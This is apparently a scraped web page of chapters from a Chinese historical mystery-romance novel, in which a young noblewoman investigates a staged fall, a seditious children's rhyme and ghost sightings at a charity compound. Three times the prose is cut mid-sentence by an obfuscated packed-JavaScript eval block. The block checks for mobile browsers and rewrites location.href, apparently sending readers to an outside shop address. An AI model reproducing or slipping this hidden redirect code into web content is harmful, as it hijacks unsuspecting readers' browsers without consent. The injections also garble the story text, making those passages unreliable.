“实在是抱歉,我一时分神撞上了姑娘。姑娘这身衣裙多少钱,我双倍赔给姑娘就当给姑娘赔礼了。” 姚映梧顿觉有些哭笑不得,打定主意要要好好爱护的裙子还是弄脏了。 “不打紧的,一身裙子而已,姑娘不必介怀。” 姚映梧瞥见手拿糖画挎着竹篮的姑娘脸上一幅心神不宁的模样。虽同她讲着话,眼睛却在四处张望,俨然是有急事。 “姑娘这身衣服不像是盛安的样式,姑娘是盛安人吗?” 姚映梧眼神转向另一位女子,她没想到盛安城了居然有人能认出衣服的别致。 眼前的女子身形挺拔,身穿金丝宝相花纹翻领袍,眉似远山,眸光如刃,说话时唇角微扬却凛然生威。 姚映梧察觉她身份不简单,心下生了戒备。 “姑娘好眼力,家母原是滕州人,嫁给家父后迁居盛安。做衣服的这家店的手艺是她闺中最喜欢的,故舅舅来看望我们时特意从滕州带过来。” “如此,弄脏了姑娘的衣服更是罪过。姐姐近日随我四处奔波,一时疏忽弄脏了姑娘的衣服,我再替她给姑娘赔不是了。不如姑娘告诉我那家店铺的名字,我们改日离开盛安,到时去寻那家店做好了托人送还给姑娘。” 姚映梧虽爱惜这身衣裙,可瞧撞她的姑娘嘴唇微抖眼神飘忽的样子她实在不忍心责怪。 “不打紧的,衣裙虽然脏了可舅舅的心意我已然知晓。即使衣服不能再穿,我看到它也可以想起舅舅的心意。” “这可是水兰阁做的衣服,不仅布料难得,绣工也极复杂。我们小姐虽然说算了,但她,得亲自向我们小姐道歉。”云昙边说边怒视着那撞人的女子,她撞了人还心不在焉的四处张望,还需要自己的妹妹替她道歉。小姐心善原谅她,但她也不能这样无视小姐。 “姐姐,姐姐,阿姜姐!你怎么了?”皎皎高声喊了阿姜好几声她才回神。 “啊?皎皎,我没事。”阿姜不敢相信自己的眼睛,她居然看见妹妹了。 阿姜回过神正色说:“姑娘实在抱歉,我一时分神撞上小姐弄脏了小姐的衣裙。不知小姐家住何处,我们做好衣裙好送给姑娘。” 姚映梧柔声安慰道:“不妨事,你们不必为此事介怀。我听令妹说你们不久要离开盛安,想你们不是盛安人,你们来此游玩,无需为这些小事挂心。” 阿姜匆匆一瞥姚映梧,从篮中拿出一件水红色披衫:“多谢姑娘体谅,我们还带了一件新的披衫姑娘可先换上。姑娘不用推辞,我欠姑娘水兰阁的衣裙是一定要给姑娘的,等我们再回...呃…等我们再来盛安一定带给姑娘。” 姚映梧接过披衫对阿姜感激一笑,又转头看向云昙。 云昙撇撇嘴,“这还差不多。” “我叫皎皎,这是我姐姐阿姜。不知姑娘叫什么名字?” “映梧,这是云昙。” 7. 英雄错救美 马车驶远,车轮圈起地上的槐花,带起一阵醉人的苦香。 皎皎松了一口气,“没想到盛安会有人穿水兰阁的衣服,阿姜,看来下次我们得好好问问这个姑娘,说不定会有新线索。” 阿姜没有回话,只盯着刚才带着相思结缠枝纹金香囊,身穿雪青色衣裙的女子消失的方向。 “阿姜姐,你怎么了?”皎皎轻声问道,“难道你不是注意到她的衣服是出自水兰阁才故意撞上去的。” 阿姜泪眼盈盈地望向皎皎,只恨两人此时在街上,心中的千言万语无法言明。 “不是的皎皎,我看见红豆了。” “红豆!兄长告诉我他见过红豆,只是当时情况复杂,她还蒙着面不想被人看到行踪,他这才没带她回来。谁料想战乱一起,她又许久没再给我们写信,我还以为她出意外了。真没想到,红豆还活着。太好了,这次一定要把红豆带回家,我们一家人永远在一起。” 阿姜泪眼婆娑道:“红豆上次写信给我,我还没等告知爹娘她就失踪了,幸好咱们又找到她了。” “阿姜姐,快,我们先去找红豆。至于那个跟着我们的人,我看他没什么恶意,咱们先不管他了。” 姚映梧换上了水红色的披衫,正倚在马车软榻上小憩。 她自幼因体质弱鲜少出门走动,偶尔贪玩和长姐跑出来总会休息好几天。像这样长时间在外,身体不免乏力。 “小姐,你说那两个女子是好人吗?” 姚映梧也有些拿不准,“两人眉宇间有凌厉之色,那个叫皎皎的女子,胡靴还沾了些草屑应是在郊外马场骑过马。她们应该不是什么坏人吧,只是你我二人出门在外还是谨慎些好。” 云昙用手托着腮思考着小姐的话,“也对,她们二人身份不明,若是武艺高强的坏人想对小姐不利怎么办?” “还好她们二人并无坏心,云昙,以后在外面无需事事考虑我,若是遇上歹人,你像今日一般怕我受委屈护着我,自己有危险怎么办?” “云昙有危险不要紧,小姐是万万不能受委屈的,只要小姐好,云昙怎么样都行。小姐对我好,我要对小姐更好。” 姚映梧无奈地勾起唇角,伸手捏了捏云昙软嫩的脸颊,“你啊,最会哄我开心。” 吱呀的车轮声停住,二人也走下马车。 姚映梧抬头望着和羹居的牌匾心中感慨万千,虽只过了一天,可她的变化也能称得上脱胎换骨了。 “姚二小姐,怎么站在这啊。现在天热,快里面请。”吴介刚吩咐好堂弟就看见昨日来的姚二小姐站在门外,他不敢耽搁,立马出门接待贵客。 店中只有零星几个客人,大堂中间支起一个台子正坐着一名年轻人正在说书。 姚映梧一进门就察觉到角落有人投来意味不明的视线,她回看过去,却见那人喘着粗气吩咐小二倒茶。 她微微蹙眉,没放在心上。 她往柜台看去,意外没见到陶掌柜。姚映梧疑惑道:“陶掌柜今日怎么不在?” 吴介恭敬的说:“这两天不卖酥山,客人也少,掌柜就带着几个伙计去进货了。” 姚映梧失望道:“原来如此,那跟你说也一样。要……” “要桂花糖糕,出锅后多淋桂花蜜再多撒一两干桂花。” 姚映梧眼睛一亮,惊喜的说:“你知道我要什么样的糕?” 吴介哈了哈腰说:“掌柜吩咐过我,小姐的要求小的肯定记得。小姐可以去二楼雅间稍等一会,小的这就去厨房吩咐人做。” 趁着吴介转身的功夫,姚映梧抚上胸口长呼一口气,差点以为吃不到合心意的糕了。 两人缓步上楼,后面跟着一个醉醺醺的壮汉。 咚!咚!咚! 他踏着沉重的脚步亦步亦趋跟在两人身后。姚映梧放缓脚步斜睨了此人一眼,深褐色的短衣,果然就是那个在楼下鬼鬼祟祟的人。 姚映梧轻咳一声,极快地冲云昙眨了两下眼,云昙心领神会,用余光盯着男人的动作,全身都紧绷起来。 等三人走到楼梯拐角处,身后的男人猛地一个跨步迈到两人前面,假借酒意脚下不稳,将姚映梧撞下了楼梯又顺势躺在了楼梯上。 “小姐!” 云昙虽一直注意着他的动作,却没想到他醉倒时会直接撞向小姐。霎时间云昙一只手迅速把住栏杆,另一只手臂伸长去够小姐的手。 “姑娘小心!” 不知从哪窜出来一个位身着灰白色云纹袍男子,飞身而上接住姚映梧,等她站稳才松开手。 “小姐没事吧,我路过这……” 姚映梧站定后,转身去谢陌生的公子却见他脸色有些难看。 “小姐!”云昙尖声叫道。 听见云昙的叫声姚映梧猛然回头,见云昙站在楼梯上失去平衡,直直向前摔去。 姚映梧被吓得面如土色,连忙扑上去接住云昙。 砰! 姚映梧垫在云昙身下摔的痛叫一声,她心想,幸好云昙站的不高,还是没站稳摔下来的,不然她可接不住了。 “小姐你摔疼了没有,没事吧?” 云昙扶起小姐带着哭腔问道,眼睛一眨一眨,泪水直在眼眶里打转。 姚映梧对她摆摆手示意自己没事,她回头看了眼站在那神情复杂的公子,觉察此事不简单。 “怎么了?怎么了?”吴介在后厨听见砰的一声,以为有客人摔了东西,急忙出来瞧发生了什么事,结果却看见云昙姑娘泪眼朦胧,扶着姚二小姐从地上站起来。 “姚二小姐,您没受伤吧!” 吴介站在楼下没看见楼上的男人,以为是身后的灰衣男子推了姚小姐。 他迅速回身满脸怒气质问道:“你好大的胆子,我们姚小姐可是…啊!” 吴介大叫一声,不可置信望着眼前的年轻公子,“公…公子?您…您是…?” 灰衣公子心中气恼,今天真是不顺,先是认错了人,后又碰上个发疯的伙计。 他深呼吸几下,向姚映梧说道:“小姐无事就好,以后千万要当心些,摔下来可不得了。” 姚映梧轻笑道:“映梧多谢公子今日能出手相救。” 灰衣公子嘴角僵硬地扯了扯嘴角,甩袖离开了。 楼上躺着的醉酒男子不一会也迅速起身,打了个酒嗝说:“我我我,喝喝多了,怎么到这来了。”他说罢立刻小跑溜走了。 “喂!你站住!”云昙气急,正想追上去。 姚映梧眼疾手快拦住云昙,“我没事,别追他了。你独身一人,万一他心生歹意怎么办。” 云昙动作轻缓地替小姐理着衣裙,“小姐您真的没受伤吧?” 姚映梧轻轻勾起一个柔软的笑,随即摇头道:“放心,我没事。” 吴介看着眼前的情况惊讶的张大了嘴巴,支支吾吾不知说些什么。后厨的伙计端着打包好的糕点递给吴介,转身又回后厨忙了。 吴介借过糕双手递给云昙,“实在是不该,今日让小姐受惊了。” 云昙接下糕掏出钱给了吴介,“小姐受了惊吓咱们还是赶快回府休息吧。” 姚映梧揉揉眉心,疲惫地点点头。 吴介送两人到门外,望着马车疾驰而去的身影心中生疑,姚二小姐昨日还咳得上气不接下气,今日怎么一声也没咳,难道,她的病好了? 回到姚府,云昙强硬的让姚映梧躺下休息,“今日真是晦气,小姐好好的碰上个醉酒的混人,被他从楼梯上撞下来。还好有位公子接住了小姐,真是吓死我了。” “这就是我觉得不对劲的地方。他若是好心,见我摔下来时接住我,那为什么没再出手接住你?只是站在那看我们两个人摔倒。” 云昙眼睛瞪得大大,说:“可小姐一向很少出门,即使出门也处处与人为善,他为什么会故意害小姐呢?” 姚映梧拨弄着手中的翡翠手串,瞥见衣架上一抹水红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067072|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色时顿时明白过来。 “难怪他看见我时脸色十分奇怪,原来要从楼梯上摔下来的不是我。” “啊?那是谁啊?”云昙不解道。 姚映梧无奈地叹气,轻敲了下云昙的脑袋,“你忘了我这件披衫是谁给我的?” “哎呦。”云昙捂着脑袋道,“对了,是那两位姑娘。” “我猜,应是那年轻的公子买通醉汉去跟踪两位姑娘,她们二人察觉有人跟踪于是往人多的地方走,行色匆匆这才不小心撞上我。因为布施酥山慧慈院百姓众多,他跟丢了人,看见你捧着披衫上了马车,才跟上我们往和羹居走。” 云昙嘴角下拉说:“对,小姐还换上了阿姜姑娘递过来的披衫,都怪我没多给想就给小姐换上了,是我害了小姐。” “这怎么能怪你呢,那个公子他刻意设计一出英雄救美的戏码,倒让我觉得他不怀好意。若我今日摔这一跤能让那姑娘远离他,也算我今日做了件好事吧。” 姚映梧抬眸见云昙兴致缺缺,安慰道:“回来的匆忙也没给你买上爱吃的乳酿鱼,你一会就跟青萝就去酒楼吃吧。” 恰巧青萝端着药进来,“小姐,药好了。” 等姚映梧吃完药睡着,两人替她掖好被子才放心离开。 亥初,夜色已深,姚尺书踏着夜色回到院子。 章麓泽正喝着荣春熬的安神汤,听见姚尺书回来微微一怔,问道:“夫君今日怎么回来的这么早?” 姚尺书阴沉着脸冷哼一声,“再不回来,就被那个逆子气死了。” 章麓泽摆手让荣春退下,“郎君何必和他置气,他自小天分就比不上他的两位姐姐,又不肯把心思放在功课上,自然没什么长进。” 啪—! 姚尺书愤恨地拍着桌子道:“要不是阿缘身体不好,以后难以入宫做女官我也不必把全部心思放到他身上了。如今他肖攘镰的一双儿女都做了将军,以后这‘盛安门阀,最盛姚肖’就该倒过来写了。” “怎么郎君还未跟肖攘镰化干戈为玉帛吗?” 姚尺书长叹一声无奈地摇摇头,“我听夫人的话,主动与他搭话,他一开始热情几次,后来对我却是理都不理。我亲自选了礼物给他送去侯府,他竟直接叫人丢出来了。我对他百般忍让,这次陛下突发重病召肖攘镰回京,让他和我一起辅佐二皇子跟五皇子处理政务,他可倒好,处处给我难堪。” “侯爷这也太过分了,怎么能如此拂了姚家的面子。难道是郎君在哪儿得罪过他,让他记恨至今。” “哪有啊夫人,他肖家手握兵权,部下的铁甲覆面军更是大邺最强的军队。他尚未袭爵时我都礼让他三分,更别说现在了。” “闼鞑来势凶悍,御守府统领也有了变动。若我们不能和肖家齐心,怕是会被人抓住机会,趁机离间啊。” “哎,这次肖攘镰发现利鹘残部的下落,我本想趁此机会与他结交,谁知陛下居然会派他儿子和我来一同清剿。不过肖逾倒是客气,不像肖攘镰那厮。” 章麓泽笑笑,起身替姚尺书更衣道:“定远侯已经年过半百,大小战役伤处不计其数,肖逾袭爵是早晚的事,他一旦坐上爵位肯定不会与姚家闹僵的,郎君就安心吧。” “万一是肖遥袭爵呢?” “我打听过,肖遥和咱们阿缘的生辰是同一天。她此次受封回京,我们请她来给阿缘庆生,顺便试试她的态度。若她能来,咱们两家结下交情,日后倘若是她袭爵,看在女儿的面子上她也不会直接与郎君作对。而且阿缘因病甚少出门,让她跟肖遥这样的立功杀敌的女将来往,对阿缘日后也有好处。” “嗯!这样甚好,还是夫人想的周到。” “夫人,安神汤好了。”荣春扣门道。 “端进来吧。” 章麓泽接过汤,翻搅了几下降温,“夫君这几日都没休息好,喝了安神汤好好睡一觉吧。” 姚尺书接过汤,“还是夫人最体贴我。” 8. 童谣成谜 桓帝丧 幼子伤 长子立 辰正,天光大亮。 姚映梧端坐在桌前翻看着《大观游记》,案上的青瓷茶盏里是刚烹好的阳羡雪芽,汤色清亮,香气清雅。几缕袅袅升腾的热气裹挟着茶香,与屋外飘进来清芬的菊香缠在一起,相得益彰。 “小姐!小姐!” 屋外,传来云昙急促的叫声。她一路小跑进了屋子。 姚映梧目光从书上挪开,见是云昙回来了,疑惑道:“你看你这一头汗,出什么事了?青萝呢?怎么没回来。” 云昙大气还没喘匀,忙摊开手心递过来一张皱巴巴的纸条,“小姐!我和青萝姐姐真的遇见鬼了!她去找大小姐去了,给我这个纸条让我带给小姐。” 姚映梧从云昙的手心拿过纸条,她整个掌心都蒙上了一层薄汗,连纸条都被微微洇湿。 “鬼?别着急,坐下慢慢说。” 云昙坐下后,胸口还因急促的呼吸微微起伏。 “我昨夜睡得晚,迷迷糊糊间听见有孩童的声音。我走到窗边一看,外面黑漆漆一片压根没有孩子的影子。起初,我以为是我听错了,结果童谣声又响了,我想小姐昨天一直惦记着童谣的事,我不识字就去叫醒青萝姐姐,让她给小姐记下来。可她听到童谣后整个人失魂落魄,一夜无眠。她写下童谣来给我,嘱咐我一定不能丢了,给小姐看完就立刻烧掉。” 姚映梧发觉童谣一定不简单,青萝一向稳重不会因为什么幽冥之事而胆战心惊。她深呼吸几下,小心的打开了纸条:“桓帝丧,幼子伤,长子立,诏书藏。” 姚映梧飞速看完纸条,唰地站起身一言不发地走向内室,她拿起台子上的火折子将手中的纸条点燃,直至纸条燃成灰烬。 “云昙!不要对任何人说起青萝抄过童谣的事,就当一切没发生。” 姚映梧将灰烬倒进屋内的海棠花盆,走到云昙面前握住她的胳膊,“中午你跟青萝再回去一趟,把东西收拾一下就回府来。要是有人来问你们为什么回去,你先缄口不言,他若追问,你再装作不小心说漏嘴,说我又病了,知道吗。” 云昙望着小姐紧锁的眉头,怔愣着点了点头,“小姐,半夜的童谣也是人在搞鬼吗?” “自然,这世上只有打着鬼神的旗号,以达到自己目的的人。”只是…这个人到底想要什么…… 姚映梧抿着唇,沉思着童谣上的每一个字。幼子指得是当今齐王殿下,长子就是陛下,诏书藏难道是在暗指陛下继位诏书? 可大邺人人知晓先帝在病塌之上仅留下口宣,“立长子怀兴为帝,谏议大夫同御史大夫证之。” 思及至此姚映梧不经心生寒意,先帝在世时的谏议大夫是父亲,而御史大夫正是继母的父亲。 若是再任由童谣传唱,父亲和母亲岂不是会背上骂名。长姐马上入宫为妃,此事一出,她日后在宫中该如何自处。 姚映梧手指紧紧握住茶盏,手掌因为用力过度而微微颤抖。 她得找到是谁在装神弄鬼。 姚映梧卸掉华丽的珠钗改簪绒花,还换了身不常穿的半臂裙,带着云昙悄悄从后门溜了出去。 “小姐,我们现在去哪啊?” “当然是去一个鱼龙混杂,能听到很多新奇故事的地方了。”姚映梧轻轻勾起唇角,想到了一个好地方。 城门口的茶摊,卖的都是便宜的粗茶。几文钱一大碗,实惠又解渴,还能有处歇脚的凉棚,是附近贩夫走卒常去的地方。 两人走进茶棚要了一壶茶,坐在了最不起眼的角落。茶入口略带苦涩,姚映梧品了一口微微皱眉,太苦了,她不喜欢。 “小二,来两碗茶汤。” 茶棚进来两个中年男子,皆身着粗布短褐,等小二端上茶汤两人便就着胡饼吃了起来。 深绿色短衣的男子咽下胡饼,“牛二,你可是找到活计了,今日怎么有钱请我吃胡饼?” “哼,活计?于老四你别看盛安是大邺的国都,来这谋生的人多了去了,而且周边都不太平,活计哪那么好找。我是昨天替一个富家公子办事,钱是人家赏的。” “哎呦喂,好你个牛二,都替富家公子办事了。兄弟你我二人可是一同从云州逃难至此,发达你可不能忘了兄弟啊。” 牛二咕咚咕咚喝完碗中的茶,一抹嘴说道:“四哥,你也太瞧得起兄弟了。昨天我在马场帮人卸货,那富家公子出钱让我替他监视一个穿水红色衣衫的姑娘。我看那姑娘换了身胡装,马骑得那叫一个快,我估计她会功夫,只敢远远跟着。结果我远远跟了一路,听她们说什么和,我想肯定是和羹居啊,我便回跟那公子约好的地方告诉了他。我带着公子抄近道去和羹居等着,果然看见两个姑娘进来了。要不说我点儿背,跟了一路跟错人了。” “这你还能跟错人?” “唉,一路上我都远远跟着,哪看清那两个姑娘长什么样子啊。那富家公子说虽然是水红色衣衫,但他要找的不是这个姑娘。那公子也算仁义,看我辛苦给了我五十文。可惜,要不是事儿没办好,那公子肯定得赏我银子,咱们住的地方起码不愁了。” 于老四拍着大腿懊恼道:“牛二啊牛二,大好机会你没把握住。算了,咱哥俩没那好命,还是去住闹鬼的慧慈院吧,好歹能遮风挡雨。” 等两人走后,姚映梧和云昙才抬起头来。 “小姐我说那人怎么有点眼熟,还真是昨日撞小姐那个。昨日他果然是装醉。” “云昙,你听见了吗,慧慈院也闹鬼。”姚映梧急切道。 “对啊,不过小姐盛安这地方也太不吉利了,怎么好多地方都闹鬼啊。是不是晋怀帝的亡魂啊?他对牧氏取代晋朝不满…哎呀!” 姚映梧上手狠狠捏了云昙的脸蛋打断了她的话,她压低声音道:“牧氏乃是当今皇族,你竟敢当街议论。你这小丫头,不想要脑袋了吧。” 云昙忙用手捂住自己的嘴巴,“没有没有,我可不敢,我乱说的。” “你啊,当我面瞎说就算了,回府可不能再乱说了。这是大邺京畿之地,可不是兰诏偏远的云州之所,不能如此口无遮掩。” 云昙捂着嘴狂点了好几下头,“我不敢了,小姐。” 姚映梧心疼地揉了揉云昙的脸颊,“捏疼你了吧。我一时心急,怕你说出什么大逆不道的话,下手重了点。我给你揉揉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067073|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不疼的小姐。不过,现在咱们是不是要去慧慈院看看了。” 姚映梧收敛了笑意,郑重地点点头。 她虽知大观门城楼闹鬼是与蒙面女子有关,可,把她与前晋怀帝还有童谣联系在一起的人一定心怀不轨。那,慧慈院与大观门两者之间会有什么关联呢? 烈日炎炎,明晃晃的日头照得人头晕。 两人买了些糕点,到车坊租了辆马车又顺带雇一个车夫,拉着她们向着慧慈院走去。 巷口的槐树又落了满地的黄花,树间传来阵阵蝉鸣。 姚映梧下意识望向昨日布施摊子的方向,熙攘的人群早已散去,空气中酥山的甜香也早就不复存在。 云昙顺着小姐的眼神看去,空荡荡的墙角什么都没有,只墙根下有几株狗尾草。 “小姐,您看什么呢?咱们不进去吗?” “走吧,云昙。” 慧慈院因毗邻法因寺,院内多是青砖灰瓦。中央露天的院子,许多孩子正在追逐打闹。陛下登基时特令每年拨款给慧慈院,用来教养这些孩童,令法因寺住持觉慧法师负责管理慧慈院。 两人带着糕点去大殿寻觉慧法师,想从他那问点消息。 “映梧,你怎么在这?” 高琢今日随尘起哥来济慈院送米,没想居然会碰上姚映梧。 姚映梧看见高琢愣了片刻,随即笑道:“好巧,你怎么来这了?” “昨日我们来这布施,兄长偶听住持说因为战乱今年的米价颇高,他担心孩子们会挨饿,特让我和尘起哥送些米过来。”高琢说完瞧了一眼姚映梧发间桃粉色的绒花,果然,映梧带什么都好看。 “那你是要走了吗?” “觉慧法师说米缸都在后院仓房,尘起哥自己带人去送了,叫我早点回去陪陪忆欢。” “忆欢,忆欢。”姚映梧轻声读了两遍,“她就是你侄女吗?名字真好听,是谁给她取的?” 高琢扬起的嘴角瞬间耷拉下来,长长叹息一声说:“是我阿姐给她取的,我也觉得好听极了。只可惜,阿姐她,已经不在了。” 姚映梧掩住唇,懊悔自己说错了话。她望向高琢低垂的眼睫,小心翼翼说:“高琢,我不知她竟……是我不好,提及你的伤心事了,你也别太难过。” 高琢摇摇头,抬眼望向她,“因为这些变故,我才跟兄长来到盛安。我也以为我放不下了,会一直被伤心事折磨。谁知,遇见了你…你告诉我一切还来得及,我想那就好好和家人在一起,好好生活,让阿姐放心。” 姚映梧见他眸光灼灼,放下心来,“我和云昙带了些糕,不如你跟我们一起分给孩子们吃吧。等分完糕,我带你去和羹居吃我最喜欢的糕点,怎么样?” 高琢喜不自胜忙点头应下。姚映梧看他开心,双颊也染上了红晕。 两人随心而动,不由自主又靠近了几分。 云昙走上前递给高琢几盒糕点,“高公子,咱们分开分糕点,这样还能快点。” 等高琢接过糕点盒,姚映梧开口嘱咐道:“你去东边,我和云昙去西边院子,等分完糕点咱们就在大殿见。” 9. 深夜鬼影 姚映梧进门时就注意到两边院子的差别,西边的院子更大,进进出出的都是妇孺。她来西院,打听闹鬼的事更方便些。 两人刚进院子就被贪吃的几个孩子围了起来,云昙捧着糕,小心翼翼地把糕放在桌上。“是今日刚做的枣花糕,谁要吃啊?” “我要,我要,我也要。” 孩子们一个一个蹦得老高,七嘴八舌嚷着自己要第一个先尝。 姚映梧瞥见院中几个洗衣服的妇人,想问问她们知不知道闹鬼的事。于是她对云昙使了个眼色,让云昙先自己应付着这些孩子。 姚映梧怕云昙分完糕孩子们又缠上来,便快步走到井边说:“大娘,你们怎么不去尝尝枣花糕?今早刚做好的,特别香。” “哎呀,我们就不跟孩子们抢了,他们一年到头也吃不上这些好东西。”那妇人捶着衣服,头也不抬道。 “那昨日有人来分和羹居的酥山,你们有没有吃到啊?” 一旁稍胖些的妇人听到酥山,兴奋地回道,“酥山这种好东西我们肯定得去领一份尝尝,难怪盛安的达官贵人都喜欢吃它消暑,果然是好吃的很。” 姚映梧见那妇人一脸沉醉的样子应是很喜欢吃酥山,但她也知道和羹居的酥山价格不低,她有些不忍,说:“过了夏,和羹居的酥山一般都比其他店多卖几日,若是还有机会,我再送些给你们吃。” 那胖妇人连连摆手道:“哎呀小姐,这可不行。我们这么多人吃酥山,得花掉不少银子呢。昨日御守府的高统领给我们分过,我们啊,能尝一次酥山的味道就心满意足了。” 姚映梧笑道:“我们一会也要去和羹居,大娘们若是不嫌弃,可以与我们一同前去。” 年纪稍长的妇人叹口气,说道:“小姐的好意我们心领,只是到了戌时总有些不干净的东西出来。我们洗完衣服,还得抓紧时间去织布、染布,不然耽误了时辰,又得撞见那东西了。” 姚映梧听到最想知道的事眼神一亮,连忙追问道:“又撞见不干净的东西?大娘这么说是遇见过吗?” 年长的妇人回想起那日的事,后怕的拍了拍胸膛,“小姐我看你面善,千万别打听这种事。” “我不怕的大娘。我自幼爱听这些神鬼故事。只可怜我从小没了母亲,也就没人给我讲过。” 年长的妇人怜爱道:“真是个可怜的孩子。既然你不怕,那我就讲给你听听吧。” 妇人放下手中的衣服,“五天前,我屋子的屋顶上破了个窟窿。我想着夏日里常下雨,那个洞又正对着我的床,万一下雨淋湿被褥可怎么好。我原想去找住持,让他帮忙找几个僧人帮忙。结果我去的路上遇到了西院的于老四,他说他以前在云州就是泥瓦匠,会补屋顶。” 说到这,年长的妇人脸色变得很难看,“快酉正时分于老四才来,他说路上遇见了一个老乡,帮搬东西耽搁了些功夫。等他帮我修补好已经是戌时了,他说已经帮我简单补上了,等明日一早,他再修补修补就好了。我对他道了好几声谢,又拿些铜板给他,他说是顺手帮我的,不收钱。天有些黑了,我提着灯笼送他到西院门口,谁知他一打开门,一个黑影飞快朝我们两个扑过来,我当时腿都吓软了。” 姚映梧追问道:“大娘,那你有没有看清那个黑影?” 大娘一脸悔恨道:“就是看清了才吓了个半死。当时于老四被它扑倒在地上,吓得他当场就昏过去了。那鬼见他昏了过去,抬起头来瞪着我。他全身都黑黢黢的,罩着一块大黑布,脸上不是人脸,是青面獠牙的兽面。我吓得大叫,幸好我们院子里大多是女人和孩子,睡得浅,我一叫大家都出来看,那鬼就吓跑了。” 捶衣的女人接着说道:“那天我也看见了,那鬼脸上的兽面是白泽。我弟弟窦石过世前是个秀才,为了赚钱就替人抄书。那鬼面我见他画过,他告诉我,是白泽。” 姚映梧心里翻涌起酸楚,“大娘,我今日还有事就先走了。你们放心,用不了多久,我就会回来帮你们驱鬼的。” 姚映梧脸色阴沉,面部紧绷,心中愤恨难平。乱世之际,连最安定的大邺都有不少百姓因战乱流离失所,失去亲人。盛安尚且如此,滕州、蔺州和庆州作为大邺与先狄人闼鞑接壤边境之所会怎么样,根本让她不敢想象。 只可恨她先前近十八年的时光缠绵病榻,未曾习武,不然她一定要早早从戎而去。 姚映梧对自己孱弱的身体生出一丝怨念,可惜她已然过了习武最好的年纪。她心中立誓要珍惜现在无病的时光,去做些有用的事。 “小姐,小姐,你等等我呀。” 云昙给孩子们分完糕,又陪着他们玩了一会。云昙与孩子中最年长的几个差不多大,几人聊着天,她一时忘记看着小姐。 她见小姐脸色不好,忙和他们道别赶紧追上小姐。 姚映梧正生着自己的气,脚下步子也走得飞快。她猛然听见云昙在身后叫她,赶紧停下脚步,回头等着云昙。 她揉了揉自己的眉心,神情缓和道:“我一时急糊涂了,竟忘了开口叫你。 云昙给自己顺着气,“不,不怪小姐,是,是我…是我玩过头了,没及时看着小姐。” “这儿大部分的孩子跟你差不多大,投缘些也正常,不打紧的。咱们去大殿找高琢吧,你要喜欢这,以后空了咱们可以常来。” “我还以为小姐是被那恶鬼吓到了,长着兽首,浑身漆黑,经常在入夜后出没,还喜欢扑人。小姐,这不会是野兽吧。”云昙说着给自己吓了一激灵,打了个寒战。 姚映梧反而笑了起来,“云昙啊,穿成那样就是为了吓唬你这种小孩子的。你见过怕人的恶鬼吗?” 云昙想了想崇拜地看向小姐,“对啊,什么鬼看见人会逃跑啊。还是小姐聪明,云昙差一点又被蒙了。” 大殿中,高琢不安地来回踱步。 刚才他分糕的时候,听西院的几个男子低声议论着西院闹鬼的事,他虽说不怎么信,可尘起哥特意嘱咐过他,闹鬼的地方阴气重,生过大病和身体虚弱之人靠近不利于身体恢复。他记得映梧说起过,她自幼生病,他得带她快点走,不然她又生病了可怎么好。 他焦急的等着,远远瞅见了那个他等待的身影,急忙迎上去道:“映梧,你还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067074|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。有没有哪里不舒服的,要不要看大夫。” 姚映梧被他一通摸不着头脑的话搞得一头雾水,“高琢,我没事啊。就是去分个糕而已,能有什么事啊,哪儿还用得着看大夫。” “那我就放心了。对了,不是说要带我去尝糕吗?我等不及了,咱们快走,赶紧离开这。” “唉,唉?” 姚映梧不解的唉了两声,被高琢拉着胳膊飞快走了。 “高公子!高公子!高琢!你快放开我家小姐。” “姚小姐,您来了。今日可是还要桂花糖糕?”三人刚进门吴介就眼尖的瞧见了,连忙迎上前去招待。 “一间雅间,再要一壶上好的雪芽,一份蟹黄饆饠。再来一份桂花糖糕,还是老样子。”姚映梧转头看向高琢,“高琢你要吃点什么?” “这儿有没有栗子糕?”高琢沉思片刻道。 “自然有了,公子。整个大邺有的糕点,在我们和羹居都有。” 姚映梧对昨日的事还有阴影,上楼梯时格外小心仔细。 “映梧!真巧,你也来和羹居吃点心。” “皎皎?你也在好巧啊,阿姜怎么没跟你一块来。” 姚映梧听到有人叫自己的名字错愕地抬起头,结果看到了皎皎正站在楼梯处准备下楼。她今日穿了身石榴红的齐胸衫裙,她差点没认出来。 皎皎笑着回道:“她今日有事,没陪我一块来。你们在哪间,我现下有事得赶紧走了,刚才我要了一盘栗子糕和金乳酥,我一会嘱咐小二送上来给你们吃。” 姚映梧不免有些惊讶,也笑了起来,“太巧了,我们刚好也点了栗子糕。可惜你还有事,我就长话短说了。那日……” 